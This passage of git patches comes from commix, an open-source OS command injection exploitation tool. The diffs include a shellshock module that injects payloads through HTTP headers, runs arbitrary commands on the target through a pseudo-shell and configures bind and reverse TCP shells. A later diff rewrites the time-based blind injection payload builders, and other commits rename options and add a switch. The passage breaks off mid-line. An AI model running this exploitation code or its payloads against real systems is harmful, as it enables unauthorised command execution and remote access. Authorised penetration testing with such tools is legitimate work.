+""" +def bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): + settings.BIND_TCP = True + # Set up RHOST / LPORT for the bind TCP connection. + bind_tcp.configure_bind_tcp(separator = "") + if settings.BIND_TCP == False: + if settings.REVERSE_TCP == True: + os_shell_option = "reverse_tcp" + reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) + return go_back, go_back_again + while True: + # LPORT is always a validated numeric string (see check_lport()), so it can + # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. + cmd = bind_tcp.bind_tcp_options(separator = "") + result = checks.check_bind_tcp_options(cmd) + if result != None: + if result == 0: + return False + elif result == 1 or result == 2: + go_back_again = True + settings.BIND_TCP = False + return go_back, go_back_again + # execute bind TCP shell + execute_shell(url, cmd, cve, check_header, filename, os_shell_option) + +""" +Configure the reverse TCP shell +""" +def reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again): + settings.REVERSE_TCP = True + # Set up LHOST / LPORT for the reverse TCP connection. + reverse_tcp.configure_reverse_tcp(separator = "") + if settings.REVERSE_TCP == False: + if settings.BIND_TCP == True: + os_shell_option = "bind_tcp" + bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) + return go_back, go_back_again + while True: + # LPORT is always a validated numeric string (see check_lport()), so it can + # never equal a SHELL_OPTIONS keyword - always prompt for the shell type. + cmd = reverse_tcp.reverse_tcp_options(separator = "") + result = checks.check_reverse_tcp_options(cmd) + if result != None: + if result == 0: + return False + elif result == 1 or result == 2: + go_back_again = True + settings.REVERSE_TCP = False + return go_back, go_back_again + # execute bind TCP shell + execute_shell(url, cmd, cve, check_header, filename, os_shell_option) + +""" +Check commix shell options +""" +def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again,no_result): + if os_shell_option == False: + if no_result == True: + return False + else: + return True + + if os_shell_option == None: + return go_back, go_back_again + + # The "back" option + elif os_shell_option == "back": + go_back = True + return go_back, go_back_again + + # The "os_shell" option + elif os_shell_option == "os_shell": + warn_msg = "You are in the '" + os_shell_option + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return go_back, go_back_again + + # The "bind_tcp" option + elif os_shell_option == "bind_tcp": + go_back, go_back_again = bind_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) + return go_back, go_back_again + + # The "reverse_tcp" option + elif os_shell_option == "reverse_tcp": + go_back, go_back_again = reverse_tcp_config(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again) + return go_back, go_back_again + + # The "quit" / "exit" options + elif os_shell_option == "quit" or os_shell_option == "exit": + checks.quit(filename, url, _ = True) + +""" +The main shellshock handler +""" +def shellshock_handler(url, http_request_method, filename): + + counter = 1 + vp_flag = True + no_result = True + export_injection_info = False + + injection_type = "results-based command injection" + technique = "shellshock injection technique" + + try: + i = 0 + total = len(shellshock_cves) * len(settings.SHELLSHOCK_HTTP_HEADERS) + for check_header in settings.SHELLSHOCK_HTTP_HEADERS: + for cve in shellshock_cves: + # Check injection state + settings.DETECTION_PHASE = True + settings.EXPLOITATION_PHASE = False + i = i + 1 + attack_vector = "echo" + settings.SINGLE_WHITESPACE + cve + ":Done;" + payload = shellshock_payloads(cve, attack_vector) + + # Check if defined "--verbose" option. + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_payload(payload)) + header = {check_header : payload} + request = _urllib.request.Request(url, None, header) + if check_header == settings.COOKIE: + menu.options.cookie = payload + if check_header == settings.USER_AGENT: + menu.options.agent = payload + log_http_headers.do_check(request) + # check_http_traffic() already sends the request - reuse its result + # instead of sending the same request again. + response = log_http_headers.check_http_traffic(request) + if response is None: + # Check if defined any HTTP Proxy. + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + + if type(response) is bool: + response_info = "" + else: + response_info = response.info() + + if check_header == settings.COOKIE: + menu.options.cookie = default_cookie + if check_header == settings.USER_AGENT: + menu.options.agent = default_user_agent + + percent, float_percent = checks.percentage_calculation(i, total) + percent, no_result = print_percentage(no_result, response_info, cve, float_percent) + + if settings.VERBOSITY_LEVEL == 0: + info_msg = "Testing the " + technique + "." + "" + percent + "" + settings.print_data_to_stdout(settings.END_LINE.CR +settings.print_info_msg(info_msg)) + + + if no_result == False: + # Check injection state + settings.DETECTION_PHASE = False + settings.EXPLOITATION_PHASE = True + # Print the findings to log file. + if export_injection_info == False: + export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) + + vuln_parameter = "HTTP Header" + the_type = settings.SINGLE_WHITESPACE + vuln_parameter + check_header = settings.SINGLE_WHITESPACE + check_header + vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) + check_header = check_header[1:] + logs.update_payload(filename, counter, payload) + + if settings.VERBOSITY_LEVEL != 0: + checks.total_of_requests() + + settings.CHECKING_PARAMETER = check_header + settings.SINGLE_WHITESPACE + vuln_parameter + # Print the findings to terminal. + info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " + technique + "." + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + settings.print_data_to_stdout(settings.print_sub_content(payload)) + + # Enumeration options. + if settings.ENUMERATION_DONE: + while True: + message = "Do you want to ignore stored session and enumerate again? [y/N] " + enumerate_again = common.read_input(message, default="N", check_batch=True) + if enumerate_again in settings.CHOICE_YES: + enumeration(url, cve, check_header, filename) + break + elif enumerate_again in settings.CHOICE_NO: + break + elif enumerate_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(enumerate_again) + pass + else: + enumeration(url, cve, check_header, filename) + + # File access options. + if settings.FILE_ACCESS_DONE == True: + while True: + message = "Do you want to ignore stored session and access files again? [y/N] " + file_access_again = common.read_input(message, default="N", check_batch=True) + if file_access_again in settings.CHOICE_YES: + file_access(url, cve, check_header, filename) + break + elif file_access_again in settings.CHOICE_NO: + break + elif file_access_again in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(file_access_again) + pass + else: + file_access(url, cve, check_header, filename) + + if menu.options.os_cmd: + cmd = menu.options.os_cmd + checks.print_enumenation().print_single_os_cmd_msg(cmd) + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + checks.print_single_os_cmd(cmd, shell, filename) + + # Pseudo-Terminal shell + try: + checks.alert() + go_back = False + go_back_again = False + while True: + if go_back == True: + break + # --os-shell is a direct action flag, not a prompt default - no question asked either way. + vuln_message = checks.vulnerable_message(url) + gotshell = settings.CHOICE_YES[0] if menu.options.os_shell else settings.CHOICE_NO[0] + if gotshell in settings.CHOICE_YES: + settings.print_data_to_stdout(settings.OS_SHELL_TITLE) + if settings.READLINE_ERROR: + checks.no_readline_module() + while True: + if not settings.READLINE_ERROR: + checks.tab_autocompleter() + # Prompt passed straight to input() (via safe_input()) so readline owns + # it and redraws it correctly on tab/history, instead of pre-printing it + # separately and leaving the "line still open" bookkeeping out of sync. + cmd = common.safe_input(settings.OS_SHELL) + if len(cmd) == 0: + cmd = "os_shell" + cmd = checks.escaped_cmd(cmd) + if cmd.lower() in settings.SHELL_OPTIONS: + os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) + if os_shell_option is not False: + go_back, go_back_again = check_options(url, cmd, cve, check_header, filename, os_shell_option, http_request_method, go_back, go_back_again, no_result) + if go_back and go_back_again == False: + break + if go_back and go_back_again: + return True + else: + shell, payload = cmd_exec(url, cmd, cve, check_header, filename) + if shell != "": + # Update logs with executed cmds and execution results. + logs.executed_command(filename, cmd, shell) + settings.print_data_to_stdout(settings.command_execution_output(shell)) + else: + debug_msg = "Executing the '" + cmd + "' command. " + if settings.VERBOSITY_LEVEL == 1: + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) + elif settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + settings.print_data_to_stdout(settings.print_payload(payload)) + if settings.VERBOSITY_LEVEL >= 2: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = common.invalid_cmd_output(cmd) + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + elif gotshell in settings.CHOICE_NO: + # Handle the parameter-wide decision before the technique-specific one. + if checks.skip_testing(filename, url, announce=vuln_message + " "): + checks.keep_testing_others(filename, url) + proceed = False + else: + proceed = checks.next_attack_vector(technique, go_back) + if proceed: + break + else: + if no_result == True: + return False + else: + logs.logs_notification(filename) + return True + + elif gotshell in settings.CHOICE_QUIT: + raise SystemExit() + + else: + common.invalid_option(gotshell) + continue + break + + except (KeyboardInterrupt, SystemExit): + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise + + except EOFError: + if settings.STDIN_PARSING: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "Exiting, due to EOFError." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + raise + + except TypeError: + break + + if no_result == True: + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + err_msg = "All tested HTTP headers appear to be not injectable." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + logs.logs_notification(filename) + + except _urllib.error.HTTPError as err_msg: + if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR or str(err_msg.code) == settings.BAD_REQUEST: + response = False + elif settings.IGNORE_ERR_MSG == False: + err = str(err_msg) + "." + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err)) + continue_tests = checks.continue_tests(err_msg) + if continue_tests == True: + settings.IGNORE_ERR_MSG = True + else: + raise SystemExit() + + except _urllib.error.URLError as err_msg: + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] + err_msg = ' '.join(err_msg)+ "." + if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + except _http_client.IncompleteRead as err_msg: + settings.print_data_to_stdout(settings.print_critical_msg(err_msg + ".")) + raise SystemExit() + +""" +Execute user commands +""" +def cmd_exec(url, cmd, cve, check_header, filename): + + """ + Check for shellshock 'shell' + """ + def check_for_shell(url, cmd, cve, check_header, filename): + try: + TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + cmd = "echo " + TAG + "$(" + cmd + ")" + TAG + payload = shellshock_exploitation(cve, cmd) + debug_msg = "Executing the '" + cmd + "' command. " + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_payload(payload)) + + header = {check_header : payload} + request = _urllib.request.Request(url, None, header) + if check_header == settings.USER_AGENT: + menu.options.agent = payload + log_http_headers.do_check(request) + # check_http_traffic() already sends the request - reuse its result + # instead of sending the same request again. + response = log_http_headers.check_http_traffic(request) + if response is None: + # Check if defined any HTTP Proxy. + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: + response = proxy.use_proxy(request) + else: + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + if check_header == settings.USER_AGENT: + menu.options.agent = default_user_agent + shell = checks.process_page_content(response, action="decode").rstrip().replace(settings.END_LINE.LF,' ') + shell = re.findall(r"" + TAG + "(.*)" + TAG, shell) + shell = ''.join(shell) + return shell, payload + + except _urllib.error.URLError as err_msg: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + shell, payload = check_for_shell(url, cmd, cve, check_header, filename) + if len(shell) == 0: + cmd = "/bin/" + cmd + shell, payload = check_for_shell(url, cmd, cve, check_header, filename) + if len(shell) > 0: + pass + elif len(shell) == 0: + cmd = "/usr" + cmd + shell, payload = check_for_shell(url, cmd, cve, check_header, filename) + if len(shell) > 0: + pass + + return shell, payload + +""" +The exploitation function. +(call the injection handler) +""" +def exploitation(url, http_request_method, filename): + if shellshock_handler(url, http_request_method, filename) == False: + return False + # eof \ No newline at end of file diff --git a/src/core/tamper/backticks.py b/src/core/tamper/backticks.py index ef0bb8e89f..6244643f51 100644 --- a/src/core/tamper/backticks.py +++ b/src/core/tamper/backticks.py @@ -27,13 +27,13 @@ __priority__ = settings.PRIORITY.HIGHEST def dependencies(): - return checks.tamper_dep_unix_only(__tamper__) or checks.tamper_dep_alter_shell_incompatible(__tamper__) + return checks.tamper_dep_unix_only(__tamper__) or checks.tamper_dep_interpreter_incompatible(__tamper__) if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): - if not menu.options.alter_shell and not settings.TARGET_OS == settings.OS.WINDOWS: + if not menu.options.interpreter and not settings.TARGET_OS == settings.OS.WINDOWS: settings.USE_BACKTICKS = True settings.CMD_SUB_PREFIX = settings.CMD_SUB_SUFFIX = "`" payload = payload.replace("${#" + settings.RANDOM_VAR_GENERATOR + "}", diff --git a/src/utils/menu.py b/src/utils/menu.py index b77f7b4f25..7c67810331 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -516,11 +516,11 @@ def banner(): default=False, help="Set the web server document root directory (e.g. '/var/www').") -injection.add_option("--alter-shell", +injection.add_option("--interpreter", action="store", - dest="alter_shell", + dest="interpreter", default = "", - help="Use an alternative os-shell (e.g. 'Python').") + help="Construct detection and exploitation payloads using an alternative interpreter (e.g. 'Python') instead of native OS shell syntax.") injection.add_option("--os-cmd", action="store", diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 0549cbc8a7..e50dc3607c 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -185,7 +185,7 @@ def clear(url): Store details of a successful injection point into the session database. Includes various metadata such as technique, payload, timing, vulnerability status, HTTP method, headers, and cookies. """ -def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): +def import_injection_points(url, technique, injection_type, filename, separator, shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: with _session_connection() as conn: @@ -195,18 +195,18 @@ def import_injection_points(url, technique, injection_type, filename, separator, conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" " "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR, " "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, " - "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " + "TAG VARCHAR, interpreter VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, " "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR, tamper VARCHAR, " "target_os VARCHAR);") # Check if an exact matching record already exists to avoid duplicates query_check = ("SELECT 1 FROM \"" + table + "\" WHERE url = ? AND technique = ? AND injection_type = ? AND separator = ? AND " - "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND alter_shell = ? AND payload = ? AND " + "shell = ? AND vuln_parameter = ? AND prefix = ? AND suffix = ? AND TAG = ? AND interpreter = ? AND payload = ? AND " "http_header = ? AND http_request_method = ? AND url_time_response = ? AND timesec = ? AND exec_time = ? AND " "output_length = ? AND is_vulnerable = ? AND data = ? AND cookie = ? AND tamper = ? AND target_os = ? LIMIT 1;") params = (str(url), str(technique), str(injection_type), str(separator), str(shell), str(vuln_parameter or ""), - str(prefix), str(suffix), str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), + str(prefix), str(suffix), str(TAG), str(interpreter), str(payload), str(settings.HTTP_HEADER), str(http_request_method), int(url_time_response), int(timesec), int(exec_time), int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie), str(menu.options.tamper or ""), str(settings.TARGET_OS)) @@ -221,7 +221,7 @@ def import_injection_points(url, technique, injection_type, filename, separator, # Insert new record only if no identical record exists if cursor.fetchone() is None: conn.execute("INSERT INTO \"" + table + "\" (url, technique, injection_type, separator, " - "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, " + "shell, vuln_parameter, prefix, suffix, TAG, interpreter, payload, http_header, http_request_method, " "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie, tamper, target_os) " "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)", params) conn.commit() @@ -436,7 +436,7 @@ def load_stored_techniques(url, check_parameter, http_request_method): """ def apply_stored_technique(row): (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, - TAG, alter_shell, payload, http_header, http_request_method, url_time_response, + TAG, interpreter, payload, http_header, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) = row[:20] # Older sessions (pre-tamper-column) won't have this field - default to "". tamper = row[20] if len(row) > 20 else "" @@ -468,7 +468,7 @@ def apply_stored_technique(row): settings.TARGET_OS = target_os return (url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, - TAG, alter_shell, payload, http_request_method, url_time_response, timesec, + TAG, interpreter, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable) diff --git a/src/utils/settings.py b/src/utils/settings.py index ef2c5a6665..ffc95b3c41 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -322,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "103" +REVISION = "104" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -419,7 +419,7 @@ class HEURISTIC_TEST(object): # Basic command-injection checks, built fresh per parameter with random values and markers. BASIC_STRING = "" BASIC_COMMAND_INJECTION_PAYLOADS = [] -ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [] +ALTER_INTERPRETER_BASIC_COMMAND_INJECTION_PAYLOADS = [] BASIC_COMMAND_INJECTION_RESULT = "" IDENTIFIED_COMMAND_INJECTION = False @@ -793,7 +793,7 @@ class OS(object): MAX_UNSTABLE_TIMESEC_BUMP = 5 # Available alternative shells -AVAILABLE_SHELLS = ["python"] +AVAILABLE_INTERPRETERS = ["python"] # Available injection techniques. AVAILABLE_TECHNIQUES = ['c','e','t','f'] From 653489cb21a178d48717073f18ef31adf5323d9c Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 3 Sep 2026 09:53:16 +0300 Subject: [PATCH 0761/1023] Added new '--abort-on-empty' switch to abort data retrieval on empty results --- doc/CHANGELOG.md | 3 ++- src/core/injections/controller/checks.py | 4 ++++ src/core/injections/controller/handler.py | 2 ++ src/core/modules/shellshock/shellshock.py | 2 ++ src/utils/menu.py | 8 +++++++- src/utils/settings.py | 2 +- 6 files changed, 18 insertions(+), 3 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 549fc183e0..73469946a9 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,6 +1,7 @@ ## Version 4.2 (TBA) +* Added: New '--abort-on-empty' switch to abort data retrieval on empty results. * Revised: Renamed '--alter-shell' to '--interpreter' for clarity. -* Revised: Added an option `--os-shell` switch to directly request an interactive operating system pseudo-shell. +* Added: New `--os-shell` switch to directly request a command shell. * Fixed: Improved crawling reliability against HTTPS targets. * Revised: Improved stdin parsing to stream targets for use with piped/chained input. * Fixed: Improved detection engine reliability when choosing to continue testing. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 0ae9e52fc9..ff91d6a808 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -2795,6 +2795,8 @@ def print_single_os_cmd(cmd, output, filename): else: err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + if menu.options.abort_on_empty: + raise SystemExit() """ Quote provided cmd @@ -3325,6 +3327,8 @@ def time_related_export_injection_results(cmd, separator, output, check_exec_tim else: err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + if menu.options.abort_on_empty: + raise SystemExit() """ Success msg. diff --git a/src/core/injections/controller/handler.py b/src/core/injections/controller/handler.py index a2b349f532..1f36c3bcbc 100755 --- a/src/core/injections/controller/handler.py +++ b/src/core/injections/controller/handler.py @@ -144,6 +144,8 @@ def pseudo_terminal_shell(injector, separator, maxlen, TAG, cmd, prefix, suffix, else: err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + if menu.options.abort_on_empty: + raise SystemExit() except KeyboardInterrupt: # Resume right back at the shell prompt - no need to re-ask to spawn one. checks.handle_exploitation_interrupt(filename, url) diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index ad0a3fda5f..f084b67488 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -451,6 +451,8 @@ def shellshock_handler(url, http_request_method, filename): settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) err_msg = common.invalid_cmd_output(cmd) settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + if menu.options.abort_on_empty: + raise SystemExit() elif gotshell in settings.CHOICE_NO: # Handle the parameter-wide decision before the technique-specific one. if checks.skip_testing(filename, url, announce=vuln_message + " "): diff --git a/src/utils/menu.py b/src/utils/menu.py index 7c67810331..ab4f621385 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -141,6 +141,12 @@ def banner(): dest="answers", help="Set predefined answers (e.g. 'quit=N,follow=N').") +general.add_option("--abort-on-empty", + action="store_true", + dest="abort_on_empty", + default=False, + help="Abort data retrieval on empty results.") + # Target options target = OptionGroup(parser, Style.BRIGHT + Style.UNDERLINE + "Target" + Style.RESET_ALL, "This options has to be provided, to define the target URL. ") @@ -532,7 +538,7 @@ def banner(): action="store_true", dest="os_shell", default=False, - help="Prompt for an interactive operating system pseudo-shell.") + help="Prompt for a command shell.") injection.add_option("--os", action="store", diff --git a/src/utils/settings.py b/src/utils/settings.py index ffc95b3c41..990ed90779 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -322,7 +322,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "104" +REVISION = "105" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 02b9b7b0e19fb798d2935c4ad8ec025500996629 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Fri, 4 Sep 2026 08:11:07 +0300 Subject: [PATCH 0762/1023] Major UI redesign and codebase refactoring --- .../blind/techniques/time_based/tb_handler.py | 3 +- .../techniques/time_based/tb_payloads.py | 243 ++-- src/core/injections/controller/checks.py | 1236 +++++++++-------- src/core/injections/controller/controller.py | 239 ++-- src/core/injections/controller/enumeration.py | 445 +----- src/core/injections/controller/execution.py | 109 ++ src/core/injections/controller/file_access.py | 129 +- src/core/injections/controller/handler.py | 435 +++--- src/core/injections/controller/injector.py | 95 +- src/core/injections/controller/parser.py | 79 +- .../injections/controller/shell_options.py | 382 +++-- .../techniques/classic/cb_handler.py | 2 +- .../techniques/classic/cb_payloads.py | 13 +- .../techniques/eval_based/eb_handler.py | 2 +- .../techniques/file_based/fb_handler.py | 2 +- .../techniques/file_based/fb_payloads.py | 60 +- .../techniques/tempfile_based/tfb_handler.py | 5 +- .../techniques/tempfile_based/tfb_payloads.py | 220 +-- src/core/main.py | 156 +-- src/core/modules/modules_handler.py | 34 +- src/core/modules/shellshock/shellshock.py | 599 ++------ src/core/requests/authentication.py | 168 ++- src/core/requests/headers.py | 92 +- src/core/requests/parameters.py | 19 +- src/core/requests/proxy.py | 6 - src/core/requests/redirection.py | 24 +- src/core/requests/requests.py | 294 +--- src/core/requests/tor.py | 5 - src/core/shells/bind_tcp.py | 725 +++------- src/core/shells/modes.py | 219 +++ src/core/shells/reverse_tcp.py | 1104 ++++----------- src/core/shells/session_relay.py | 88 ++ src/core/tamper/backslashes.py | 9 +- src/core/tamper/caret.py | 8 +- src/core/tamper/dollaratsigns.py | 10 +- src/core/tamper/doublequotes.py | 4 +- src/core/tamper/singlequotes.py | 9 +- src/core/tamper/sleep2timeout.py | 5 +- src/core/tamper/sleep2usleep.py | 6 +- src/core/tamper/uninitializedvariable.py | 34 +- src/core/testing.py | 2 - src/utils/common.py | 46 +- src/utils/crawler.py | 29 +- src/utils/install.py | 3 - src/utils/logs.py | 105 +- src/utils/menu.py | 166 ++- src/utils/purge.py | 117 +- src/utils/session_handler.py | 159 ++- src/utils/settings.py | 222 ++- src/utils/update.py | 100 +- 50 files changed, 3705 insertions(+), 4561 deletions(-) create mode 100644 src/core/injections/controller/execution.py create mode 100644 src/core/shells/modes.py create mode 100644 src/core/shells/session_relay.py diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index a520ab08aa..fc15ec3098 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -15,7 +15,6 @@ from src.utils import common from src.utils import settings -from src.core.injections.controller import checks from src.core.injections.controller import handler """ @@ -26,7 +25,7 @@ The "time-based" injection technique handler. """ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path): - return handler.do_time_related_proccess(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) + return handler.do_time_related_process(url, timesec, filename, http_request_method, url_time_response, injection_type, technique, tmp_path) """ The exploitation function. diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index e6c84a77a4..0e18e71bcc 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -26,6 +26,7 @@ Time-based decision payload (check if host is vulnerable). """ def decision(separator, TAG, output_length, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: if separator in ("|", "||"): pipe = "|" @@ -44,14 +45,17 @@ def decision(separator, TAG, output_length, timesec, http_request_method): else: pass else: - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. settings.RANDOM_VAR_GENERATOR + "1=${#" + settings.RANDOM_VAR_GENERATOR + "}" + separator + - "if [ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + - "then sleep " + str(timesec) + separator + - "fi" + "sleep $((" + str(timesec) + "*(" + str(output_length) + "==$" + settings.RANDOM_VAR_GENERATOR + "1)))" + ) + elif separator == "%26": + payload = (separator + + "[ " + str(output_length) + " -eq $(wc -c < <(printf '%s' \"" + TAG + "\")) ]" + "&&" + + "sleep " + str(timesec) ) elif separator == _urllib.parse.quote("&&") : ampersand = _urllib.parse.quote("&") @@ -63,20 +67,20 @@ def decision(separator, TAG, output_length, timesec, http_request_method): "[ " + str(output_length) + " -eq $" + settings.RANDOM_VAR_GENERATOR + "1 ]" + separator + "sleep " + str(timesec) ) - - elif separator == "||" : + + elif separator in ("|", "||"): pipe = "|" payload = (pipe + "[ " + str(output_length) + " -ne " + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.SINGLE_WHITESPACE + - pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + separator + + pipe + "tr -d '" + settings.END_LINE.ESCAPED_LF + "'" + pipe + "wc -c" + settings.CMD_SUB_SUFFIX + " ]" + "||" + "sleep " + str(timesec) ) else: pass if settings.CUSTOM_INJECTION_MARKER: - payload = payload + separator + payload = checks.append_custom_marker(payload, separator) return payload @@ -84,6 +88,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): __Warning__: The alternative shells are still experimental. """ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_request_method): + payload = "" if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" if separator in ("|", "||"): @@ -106,14 +111,19 @@ def decision_alter_interpreter(separator, TAG, output_length, timesec, http_requ pass else: - if separator in (";", "%0a"): + if separator in (";", "%0a", "%0d%0a"): payload = (separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + - "if [ " + str(output_length) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "1} ]" + separator + - "then " + 